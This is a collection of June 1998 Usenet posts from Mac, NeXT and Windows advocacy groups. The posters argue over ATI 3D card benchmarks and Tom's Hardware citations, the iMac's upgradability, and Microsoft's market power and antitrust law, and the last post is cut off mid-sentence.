References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <slrn6ot8e6.mvv.sal@panix3.panix.com> <358EB8A6.FD78CBF5@chem.uit.no> <359076CE.30A2ADC3@spamtoNull.com>
On Wed, 24 Jun 1998 03:43:11 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>> before in this thread ATI has a reputation of delivering unstable
>> drivers (if you ever read newsgroups like comp.sys.ibm.pc.hardware.video
------------------------------------------------------^^^^^^^
>> you would have known this)
>Well, maybe Denaro will believe *you*, but I doubt it....:)
I don't doubt that the PC drivers might be buggy, but why should this
effect the Mac drivers?
--
sal@panix.com
Salvatore Denaro
From: "Wayne Fellows" <wfellows@*stop_spam*earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: 23 Jun 98 23:46:09 +0000
Organization: EarthLink Network, Inc.
Message-ID: <B1B5EECE-4FB39@153.36.183.129>
References: <slrn6p0nao.g5.jason@jhste1.dyn.ml.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.earthlink.net/comp.sys.windows.advocacy,
nntp://news.earthlink.net/comp.sys.next.advocacy,
nntp://news.earthlink.net/alt.destroy.microsoft
>If any ISP's actually try to use NT to serve their dial-up or ISDN
cutomers,
>they'll be weeded out rather quickly, just like all the BBS operators who
>tried to pretend that they offered a net connection just because they
could
>take e-mail, and a newsfeed.
MSN tried it, couldn't get the system to scale correctly. Sometimes you'd
wait 20 minutes for their splash screen to come up. Dunno if they've
switched to unix for MSN like they have for all their other servers or not.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 24 Jun 1998 04:41:28 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p10ro.pk0.sal@panix3.panix.com>
References: <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <6mmm4l$n2j$1@new-news.cc.brandeis.edu> <see-below-2306980046450001@dynamic23.pm01.mv.best.com> <35907BE9.4704F7A6@spamtoNull.com>
On Wed, 24 Jun 1998 04:04:59 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>I think that since the iMac can't be upgraded at all in the graphics
>department,
Not true. There is a DAV port. The motherboard can be easily replaced,
and the CPU is on a removible card.
>much slower.) Anyway, the chip is supposed to sell for $38 or some such
>ridiculous fee, so it would certainly be a candidate for integration,
>providing Apple would do so. To me, that would make iMac make a lot more
>sense.
Sure. Maybe the iMac/2 will have one.
--
sal@panix.com
Salvatore Denaro
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 24 Jun 1998 04:53:31 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mq0ob$4ui$1@nnrp1.dejanews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <35deaab4.128506219@news.supernews.co <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <6mmse2$m0u$1@nnrp1.dejanews.com> <359411ae.2541591@news.supernews.com> <6moqi4$5cl$1@nnrp1.dejanews.com> <35af0efc.26876330@news.supernews.com>
In article <35af0efc.26876330@news.supernews.com>,
mdevlin@eltrax.com (T. Max Devlin) wrote:
>
> dpetticord@hotmail.com, on Tue, 23 Jun 1998 18:01:40 GMT,
> >In article <359411ae.2541591@news.supernews.com>,
> > mdevlin@eltrax.com (T. Max Devlin) wrote:
> >> dpetticord@hotmail.com, on Tue, 23 Jun 1998 00:21:22 GMT,
> [...]
> >I could agree that OS/2 did not stand much of a chance. The original point
> >continues to be that Microsoft was reacting to the market (consumers and
> >competitors). I assume you agree it mattered what Microsoft did or didn't do.
> >If Microsoft didn't provide internet access, OS/2 could have very well have
> >eaten into their market share.
>
> I agree that it mattered what Microsoft did or didn't do, I believe it
> didn't matter what IBM did or didn't do. This seems a clear indication
> of anti-competitive business practices. You have hopefully already seen
> my comments on my correlation of "anti-competitive" to mean "illegal",
> according to anti-trust law.
>
Yes, I saw it and responded (it may have gotten lost in the big void).
In short, I made a snide remark about you using the word "illegal" in your
definition.
Well, I spent a little time trying to come up with other people's definitions
and whether or not anti-competitive actions are inherently illegal. I was a
little surprized by what I found.
After reading through the legal mumbo-jumbo it appears several people admit
that small business do perform anti-competitive actions _BUT_ the act of
helping a small business grow is an offsetting pro-competitive effect.
SO (the theory continues) as long as the pro-competitive effect outweighs
the anti-competitive action, it is considered legal.
This has to be a real bummer for large companies like Microsoft.
<backslide warning>
I have not researched this very well yet. I expect we will learn a lot more
about legal definitions before this case is through.
<\backslide warning>
[...]
> >> >Why do you think PeeCee Unixes will be any more homogeneous than other
> >Unixes?
> >> >What will keep the PC hardware manufacturers from diverging?
> >>
> >> Customer demand, same as now. Besides, I think you overvalue
> >> homogenaetty. Within a company, maybe, its great. Otherwise, it simply
> >> restricts your alternatives. "Cyberdiversity" is a word I just invented
> >> as I typed it, but I think it is a very obvious and important concept.
> >
> >You made two arguments, one "it won't diverge" and two "divergance isn't
bad".
>
> Correct. I congratulate myself on my pragmatic approach. ;-)
>
> Seriously, my point was that if the market demands divergence,
> divergence is good. The only thing *theoretically* keeping the market
> from diverging now (not that it's not diverging somehow, of course) is
> customer demand. Or are you saying we need the raw righteousness of
> Windows to keep everyone even?
Aren't you just a little embarrised to reference legitimate customer demand
in a market you have declared is broken. A "true" Microsoft hater would
blame Microsoft for forcing OEMs to do their bidding here too. <g>
(It is in Microsoft's interest to have a need for "plug and play")
> >To the first point... Do you really think the mass market will think twice
> >about compatibility when they can buy a "complete PC" for only $499. Try to
> >deny it all you want, but price is a prime motivator in the desktop market.
> >Most of it is about "Getting the fastest for the cheapest so you can brag
> >about it at the water-cooler".
>
> If cheap disposable clients are in demand, that makes sense.
It will to the average home user. I take it as a given.
Although it probably will be helped with a little misleading advertising
about "upgradability". Please don't argue the "upgrade" point, surely you
have run into several dead-end systems that claim to be "upgradable".
> What makes you think there would be any compatibility issues? The fact is,
> it is cheaper and easier for _everyone_, sellers as well as buyers, to
> maintain what compatibility is efficient. Let the market decide. I'll
> buy a "complete PC" for $500 for my wife, and I'll maintain a server
> which gains value from the accessability of PC hardware to make even my
> top-of-the-line components both less expensive and higher quality.
It won't be "less expensive" because of the $500 version(s).
(explaination to follow)
> If not all of our hardware is interchangeable, that is less of an issue
> then if our software is compatible.
>
But your "cyberdiversity" shouts that software will not be compatible.
(at least not at the level the average home user will understand).
> It is when the "mass market's" desire for a $500 PC makes it impossible
> to access the market at different price points with different levels of
> quality and service that things are broke.
EXACTLY the point. Current situation.
Good 32 bit WINTEL system = $1000
Basic 32 bit industrial computer system = $10000
There is nothing wrong with the price of the industrial system (IMO).
The only thing "wrong" is the effect the mass market has on the Wintel system.
Normally, we care very little about cheap consumer products in the real world
of business, but when there is a 10 times price difference, we get FORCED
to use Wintel and "we" don't like it.
Max, surely you can see that if Microsoft is "stopped" the consumer PC will
quickly become cheaply made both hardware and software to reduce the price.
The "real" PC computers will easily double or triple in price to their
"natural" market position.
Is this the right thing to happen? maybe, but it won't be painless.
> But I really don't think we
> have to worry about the industry's maintenance of the PC hardware
> platform, once we have competition in the OS market. If anything, it
> should improve the situation, as tighter controls will be required and
> technical improvements can be added free of the demands of the Behemoth.
Just like in the Unix/VME world?
<snip>
> >You are not contradicting this "ludicrous theory". Do you question the
> >desirability of making the "all-in-one" motherboards for the mass market?
>
> What the hell does this have to do with Windows?
I am agreeing that Microsoft is controlling the OEMs and indirectly
forcing the harware to conform to their software.
> Nevertheless, of
> course I question the desirability. I thought everybody understood the
> value of modular construction and interchangeable parts.
>
> The "mass market" never even opens the case; what the hell do they care?
>
> Well, when a single capacitor blows on the stupid thing and the shop
> says "we just replace the whole motherboard, that'll be $150", I think
> they might want to opt to put some of those components on replaceable
> daughter boards, eh?
>
How many interchangable parts are there in a VCR? TV? ANY other consumer
product? The Home PC is a consumer product, the days of manual assembly will
soon be over, maybe even with Microsoft's attempts to control it.
> >Technical people like us would never buy one, but we are the minority now.
>
> I just bought one. I didn't think they sold anything else these days.
> I mean, it didn't have a video or sound card, but it has an integrated
> I/O controller.
>
It soon will include video, sound, modem and fancy boot rom (no floppy drive).
<...>
> >You have all but admitted that software diversity will happen and is
> >desirable. Why couldn't the same thing be said for hardware diversity?
>
> Again, physics indicates there will not be anywhere near the
> opportunity.
Plain economics will be the motivator. Manual assembly is VERY expensive.
> Nevertheless, the same thing could be said. Certain
> degrees of compatibility and certain degrees of divergence is how any
> technical market works. Those who think a "mass market" decided that
> "Windows is best" really really want to insist that computers are a
> "consumer market" now, not a technical one.
I think it will "naturally" split into the two markets with price differences
to match.
>
> I see no point in denying reality. Computers, by nature, are _supposed_
> to be technical. Not to prevent consumer access, but to enable it. If
> we really just wanted WebTV and smart typewriters, we'd have bought
> them. The mass market is buying general purpose microcomputers.
> Obviously, they are ready for a technical product; stop talking down to
> them.
>
Hell, I know Visual Basic PROGRAMMERS that are not ready for a technical
product. Remember, this market contains the same people who need help
programming a VCR. Who is denying reality here?
<...>
> >For us, yes, but others will feel pain.
>
> Do you realize how much of your argument seems to be based on FUD? I
> know it's really hard to let go, but most people can certainly use a Mac
> as easily as a PC, and a surprising number of them are ready to go for
> Unix.
>
I agree, there is little difference between a Mac and a PC. I have not given
up on the Mac yet, nor Unix/Linux for that matter.
> Imagine how silly all this "Windows is easy" crap will seem to the kids
> in school now, who may soon be the proud owner of a Linux system. Is he
> going to be bothered with not being able to doubleclick setup.exe?
>
> Or is he simply going to set it up so that his Mom can doubleclick
> "Setup"?
>
And when he does and sells a 100 million copies are we going to start
anti-trust all over again?
> >> I do believe you are losing it, David.
> >
> >Ok Max, it is getting time to confess motivations.
> >
> >Microsoft must be stopped because...
> >
> >a) No one company should be allowed to have that much power.
> >
> >b) Home users should be forced to understand the computers they own.
> >
> >c) Unix must be saved from being replaced by an inferior OS.
> >
> >d) It is importance that all laws must be enforced.
> >
> >e) Cyberdiversity will dramitically increase the worth of technical skills
> >
> >f) Microsofties are too smug, they all need a punch in the nose.
> >
> >Obviously, you can choose more than one, all of them, or add your own. I
> >suspect "c" is one of your stronger motivators.
>
> Odd. I came to the Unix party late, and still consider myself of
> extremely limited skill. High-schools should teach script writing. ;-)
>
> Unix is a truly important advance in computer science and engineering,
> kind of like the PC platform. It makes things easier for everyone,
> buyer, seller, user, developer, to have some touchstone standards for
> computer technology. The only people who would ever think that there is
> a better way to do it then to accept and use such standards is greedy
> bastards with unethical scams on their mind. Snake oil salesmen who
> need to pawn off their shoddy goods.
>
What happened to your faith in the market? ALL companies want to
differentiate themselves from the "standard". It is marketing 101 to prove
you are "better" than the competition. "Greed" is not a dirty word in
business.
<snip>
> >As for my motivation...
> >I tend to pity the home user and do not like seeing our courts used to
deliver
> >a "punch in the nose" regardless of how well deserved it is.
>
> You pity the home user, so you think it is best not to give them the
> benefits of open standard technology? Thanks anyway; take your "pity"
> elsewhere. If consumers didn't want microcomputer they could own and
> use, then they wouldn't have bought them. Or are you again saying that
> they can only hope to use them as long as Microsoft restricts their
> choices enough to make it easy for you to explain? Have you ever
> bothered explaining the licensing for their various products? I pity
> the home user, too, but obviously not for the same reason you do.
I think we understand our differences here. I see cavemen, you see computer
prodigies. I see a big mess that congress will make worse by trying to
fix, you see a minor market adjustment followed by sun-shine.
They are reasoned opinions. Of course, I think my predictions are closer to
the truth.
> Watching our courts deliver a "punch in the nose" by enforcing the law
> is called justice; that is what the courts are for. Why wouldn't you
> want to see this?
>
Because a lot of people think I deserve a "punch in the nose". I do not want
the courts to get out of the habit of punishing people only for the crimes
they committed, regardless of the prevailing public opinion.
...
> they just kept getting more proprietary, and more restrictive,
> and doing more things to hijack a hardware platform market that they
> don't own, and leveraging their monopoly to take over more related
> markets, and all the while their software is getting demonstrably
> worse...
>
You were doing fine until that last part. If it is "demonstratably
worse", please provide the demonstration. Like I said, I have all the
latest software, I can check any specific accusations you can provide.
> Sorry. The Internet and PC platform are too important to wait on
> Microsoft's leisure. The revolution was the open hardware of the PC,
> and it ain't over yet.
>
I can wait. Things have been going fast enough lately.
> >I am just as frustrating to Microsoft purists in the work world. "It is
> >Microsoft" is not a product choice justification in my book.
>
> Good!
>
> > Unfortunately
> >for its critics "it is Microsoft" is also an insufficient product
> >condemnation.
>
> Well, _product_ condemnation, I would have to agree with you, of course,
> for pragmatic reasons. However, it is certainly sufficient product
> _choice_ condemnation, if you can avoid it.
>
> Ten years ago, it was excusable to not recognize the harm that comes
> from becoming dependant on a monopoly (though I have no idea why, given
> the industry's history with IBM). Today, any technologist that does not
> take that into account when choosing Microsoft products, just as he
> would take into account the reliability of the company for any other
> product, is not making sound business decisions.
>
It is interesting advice, but as long as Microsoft can deliver products of
equal or better quality, it will be very hard to convince those with stock
options that it is the "wrong" choice.
David Petticord
Complete Networks, Inc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: "Edmond" <edmondh@ioc.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
References: <6mkd25$8c44@odie.mcleod.net>
<rmcassid-2206981028290001@dante.eng.uci.edu>
<slrn6otdot.24u.sal@panix3.panix.com> <898552193.148025@kelp.mbay.net>
Mime-version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-transfer-encoding: 7bit
Message-ID: <CU0k1.17$NF2.189231@news.intelenet.net>
Date: Wed, 24 Jun 1998 06:20:18 GMT
NNTP-Posting-Date: Tue, 23 Jun 1998 23:20:18 PDT
Organization: InteleNet Communications -- http://www.intelenet.net/
What everybody is forgetting is that Apple is trying to bring the
average consumer who won't pay more than $100 for an OS into the modern OS
world. Apple has no choice but to cut some corners to make this thing as
cost-effective for the price as possible. This is a point in time where
Apple's desperate for a modern OS AND money. If that means cutting
ultra-cool niche software to lower the price and attract Joe Six-Pack who's
two steps away from a shelf full of pretty little Win98 boxes then that's
what they'll do. It totally sucks but it means poor people can get the best
OS in the world for under $200 and Apple gets the money they need to
survive.
Edmond Hirota
edmondh@ioc.net
Date: Wed, 24 Jun 1998 13:00:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-2406981300020001@wil62.dol.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com> <slrn6or9ib.h0d.sal@panix3.panix.com> <358E87AC.E71448B3@spamtoNull.com> <slrn6ota05.mvv.sal@panix3.panix.com> <3590743F.F7B9CE6D@spamtoNull.com> <joe.ragosta-2406980840300001@0.0.0.0> <35910AA6.9383D8FB@nstar.net> <joe.ragosta-2406981035290001@wil45.dol.net> <3591128A.6D9D5DD5@nstar.net> <joe.ragosta-2406981146120001@wil52.dol.net> <3591228B.B6274844@nstar.net>
In article <3591228B.B6274844@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Joe Ragosta wrote:
>
> > No. You have to read the source the person cited. He cited Tom's Hardware
> > Page. I went to the exact page that he cited and showed that his
> > conclusions were erroneous.
> >
> > Just how is that lying?
>
> Here is the article in which you responded:
>
> <quote>
>
> > Jostein Johansen wrote:
> >
> > > >
> > >
> > > At least you can throw in a 3DFx card in your lowcost PC if you get sick
> > > of the crappy 3D-preformance from vendors like ATI. If you look at some
> > > hardwaretest sites like http://www.anandtech.com/3dvidacc.html or
> > > http://www.tomshardware.com/3dchip0498.html you will notice that ATI has
> > > a decent 2D-performance, but more or less useless 3D-performance in
> > > games (in many tests its the SLOWEST chipset around). And as stated
> > > before in this thread ATI has a reputation of delivering unstable
> > > drivers (if you ever read newsgroups like comp.sys.ibm.pc.hardware.video
> > > you would have known this)
>
> Tom said that? Really?
>
> Hmm, I checked his 3D video card comparison and found the following:
>
> http://www2.tomshardware.com/3drev-3dbench.html
>
> The ATI expert is as much as 95% as fast in 3D as the fastest card
> tested.
> At the low end, it's as low as 45% of the Viper 330 (although it's only
> 15% of the GL1000 for NT GL tests).
>
> What you meant was that for some things the ATI is much slower than
> _some_
> other cards. To say that it's useless is completely, utterly wrong.
LOL. OK. Now, show me where Tom's Hardware page says that the ATI is
"useless in games". THAT is exactly what I was objecting to.
If you're going to cite a source, how about quoting them accurately.
Now, are you going to apologize for accusing me of lying?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: Wed, 24 Jun 1998 00:07:31 -0700
Message-ID: <see-below-2406980007320001@dynamic40.pm07.mv.best.com>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <35852FC2.1433BE70@spamtoNull.com> <6m90a6$6u9$2@news.spacelab.net> <358B2BD3.BCC40A76@spamtoNull.com> <6mmbpp$ni3$1@news.spacelab.net> <3590761C.54BC4A9D@spamtoNull.com> <slrn6p10jv.pk0.sal@panix3.panix.com>
In article <slrn6p10jv.pk0.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On Wed, 24 Jun 1998 03:40:14 GMT, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> >> > The Play Station is a *game console.*
> >> Agreed. Why are game consoles not computers?
> >Um....because they're *game consoles?*
>
> What a stunning display of circular logic from the master.
The main thing is they're not intended for general purpose use, they're
not generally expandable, they're really really cheap, and they sell in
the millions. I don't remember why this came up, but if it's about why
you'd support weak 3D/cpu power in a console but not in an iMac, it just
comes down to numbers and sales, and the iMac almost certainly won't be
nearly a large enough market for developers to support unless it's already
in line with mainstream, current computer hardware (ie, a simple port of a
game intended for the PC market).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: Jostein Johansen <jostein@chem.uit.no>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 24 Jun 1998 23:29:31 +0200
Organization: priv.
Message-ID: <35916FBB.79749CAE@chem.uit.no>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com> <slrn6or9ib.h0d.sal@panix3.panix.com> <358E87AC.E71448B3@spamtoNull.com> <slrn6ota05.mvv.sal@panix3.panix.com> <3590743F.F7B9CE6D@spamtoNull.com> <joe.ragosta-2406980840300001@0.0.0.0> <35910AA6.9383D8FB@nstar.net> <joe.ragosta-2406981035290001@wil45.dol.net> <3591128A.6D9D5DD5@nstar.net> <joe.ragosta-2406981146120001@wil52.dol.net> <3591228B.B6274844@nstar.net> <joe.ragosta-2406981300020001@wil62.dol.net>
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Joe Ragosta wrote:
>
> In article <3591228B.B6274844@nstar.net>, "Michael J. Peck"
> <mjpeck@nstar.net> wrote:
>
> >
> > Hmm, I checked his 3D video card comparison and found the following:
> >
> > http://www2.tomshardware.com/3drev-3dbench.html
> >
> > The ATI expert is as much as 95% as fast in 3D as the fastest card
> > tested.
> > At the low end, it's as low as 45% of the Viper 330 (although it's only
> > 15% of the GL1000 for NT GL tests).
> >
> > What you meant was that for some things the ATI is much slower than
> > _some_
> > other cards. To say that it's useless is completely, utterly wrong.
>
> LOL. OK. Now, show me where Tom's Hardware page says that the ATI is
> "useless in games". THAT is exactly what I was objecting to.
Tom did not say that, i said that, and i draw my conclusions from
http://www.tomshardware.com/3Dhype98.html
and f.eks
http://www.anandtech.com/3dvidacc/3dvidacc-3d_performance-4.html
Quake 2 800 x 600 OpenGL Tests - Pentium MMX 233
Timedemo DEMO 1 DEMO 2
ATI Xpert@Work (AGP) 8.9 fps 8.8 fps
Creative Labs 3D Blaster V2 (PCI) 29.1 fps 30.8 fps
--
___________________________ __ ______ __
Jostein A. Johansen /\ \ /\ __ \ /\ \
Email: Jostein@chem.uit.no _\_\ \\ \ __ \ _\_\ \
Tlf. +47 77671088 /\_____\\ \_\ \_\/\_____\
+47 77644067 \/_____/ \/_/\/_/\/_____/
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 24 Jun 1998 17:36:55 -0700
Message-ID: <see-below-2406981736550001@dynamic48.pm05.mv.best.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <slrn6ot8e6.mvv.sal@panix3.panix.com> <358EB8A6.FD78CBF5@chem.uit.no> <359076CE.30A2ADC3@spamtoNull.com> <joe.ragosta-2406980835300001@0.0.0.0> <3591098F.BDFA0AEC@nstar.net> <joe.ragosta-2406981032580001@wil45.dol.net> <35911238.2CB27BE7@nstar.net> <alex-2406981630220001@castle.webis.net>
In article <alex-2406981630220001@castle.webis.net>, alex@webis.net (Alex
Kac) wrote:
> Michael, I am entering a thread of which I have never posted but have read
> from the very very beginning. Sorry, but you are wrong on this. Jonathan
> Harker flamed the ATI Rage Pro. He said that Tom's hardware page reviewed
> the ATI Rage Pro as a very bad card. However, Joe Ragosta and others went
> to that exact same page and found the opposite true - that Tom's Hardware
> Page praised the chip. That is the entire focus of this discussion. Joe is
> trying to point out to Jonathan that his quote is misquoted and wrong. The
> merits of the chip in current reviews has no bearing on the fact that what
> Jonathan quotes Tom's hardware page and what Tom's Hardware page are two
> opposite views.
This isn't really correct. If MacWorld magazine two years ago said the
180MHz 604e was the fastest Mac processor, you couldn't pull out that
issue and quote them today to imply it's still the fastest Mac, could you?
If you did look at that issue by mistake, and someone pointed out the old
date and showed you a newer issue contradicting it, you wouldn't keep
calling them a liar, would you? Just because an old article is still
posted on the Tom's Hardware site doesn't mean it hasn't been superceded
by more-current information.
I don't blame Joe for questioning the statement after seeing the old page,
but now that we know there's a more-current page, let's move on.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 24 Jun 1998 09:10:14 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mqfpm$7c5$4@ns3.vrx.net>
References: <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com>
<358E8686.FEBF1301@spamtoNull.com> <6mmm4l$n2j$1@new-news.cc.brandeis.edu>
<see-below-2306980046450001@dynamic23.pm01.mv.best.com> <6mnqp1$3vn$3@ns3.vrx.net>
<35907CF0.BA9046C9@spamtoNull.com>
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In <35907CF0.BA9046C9@spamtoNull.com> Jonathan Harker claimed:
> I haven't heard *anything* that proves that assertion,
Well then let me: I have used it on my friends machine. It was stable, and
he has never had a complaint, and he's a technical user who would know. There
you go.
Maury
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 24 Jun 1998 16:30:22 -0600
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-2406981630220001@castle.webis.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <slrn6ot8e6.mvv.sal@panix3.panix.com> <358EB8A6.FD78CBF5@chem.uit.no> <359076CE.30A2ADC3@spamtoNull.com> <joe.ragosta-2406980835300001@0.0.0.0> <3591098F.BDFA0AEC@nstar.net> <joe.ragosta-2406981032580001@wil45.dol.net> <35911238.2CB27BE7@nstar.net>
NNTP-Posting-Date: 24 Jun 1998 21:30:07 GMT
In article <35911238.2CB27BE7@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
: Joe Ragosta wrote:
:
: > True. But I used the exact same source that the people who were flaming
: > the ATI chip sets used.
: >
: > My point was that they were saying that Tom's Hardware page said the ATI
: > sucked. His page (although outdated) says nothing of the sort.
:
: Joe, don't test me. You used a November 10, 1997 review when an April
: 1998 review is sitting out there that puts the ATI at the bottom of the
: 3D barrel. This is gross misrepresentation, at the very least, and in my
: opinion, blatant deception.
:
: > Perhaps. But the person who said that Tom's Hardware page said the ATI was
: > useless is still wrong.
:
: Which person is that? Your habit of entering threads about which you
: know nothing, late, aside, which of the people who have recently
: testified to the ATI's poor performance do you mean?
:
: MJP
Michael, I am entering a thread of which I have never posted but have read
from the very very beginning. Sorry, but you are wrong on this. Jonathan
Harker flamed the ATI Rage Pro. He said that Tom's hardware page reviewed
the ATI Rage Pro as a very bad card. However, Joe Ragosta and others went
to that exact same page and found the opposite true - that Tom's Hardware
Page praised the chip. That is the entire focus of this discussion. Joe is
trying to point out to Jonathan that his quote is misquoted and wrong. The
merits of the chip in current reviews has no bearing on the fact that what
Jonathan quotes Tom's hardware page and what Tom's Hardware page are two
opposite views.
That is the only thing that Joe Ragosta is catching Jonathan on. Joe does
not know and does not care what the current status of the Rage Pro
is...his concern and the same for Salvatore is that Jonathan Harker
misquoted an article. That's all.
So Joe is not lying because there was nothing to lie about. Joe had no
reason to look at current reviews because again, the topic was not the
Rage Pro but how Jonathan flamed the Rage Pro erroneously.
BTW, that NeXT machine you sold me is doing great. I'm letting my
mother-in-law have it and she thinks its wonderful (this is a woman who
when told to click on the icon pressed the mouse against the screen and
clicked....).
--
Web Information Solutions CEO <http://www.WebIS.net>
VersaCom Chief Technology Officer <http://www.VersaCom.com>
I don't speak for my employer, which oddly enough is myself
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 24 Jun 1998 21:34:23 GMT
Organization: Indiana University, Bloomington
Message-ID: <6mrrcv$rhj$1@jetsam.uits.indiana.edu>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6mr3er$f9s$1@nnrp1.dejanews.com> <6mr4ji$8ke$1@flotsam.uits.indiana.edu> <6mrc1b$9c1$1@flex.london.pipex.net>
In article <6mrc1b$9c1$1@flex.london.pipex.net>,
Sundeep Kalsi <kalsi@pncl.co.uk> wrote:
>In article <6mr4ji$8ke$1@flotsam.uits.indiana.edu>,
>glhansen@copper.ucs.indiana.edu says...
>>I think I agree with Holger. Not that programming SHOULD be difficult, but
>>that it IS difficult and there's not much a language can do to change that.
>>The hard part is not the coding, it's the logic. If you can write down the
>>logic for the entire program in small, English-like steps, you've done the
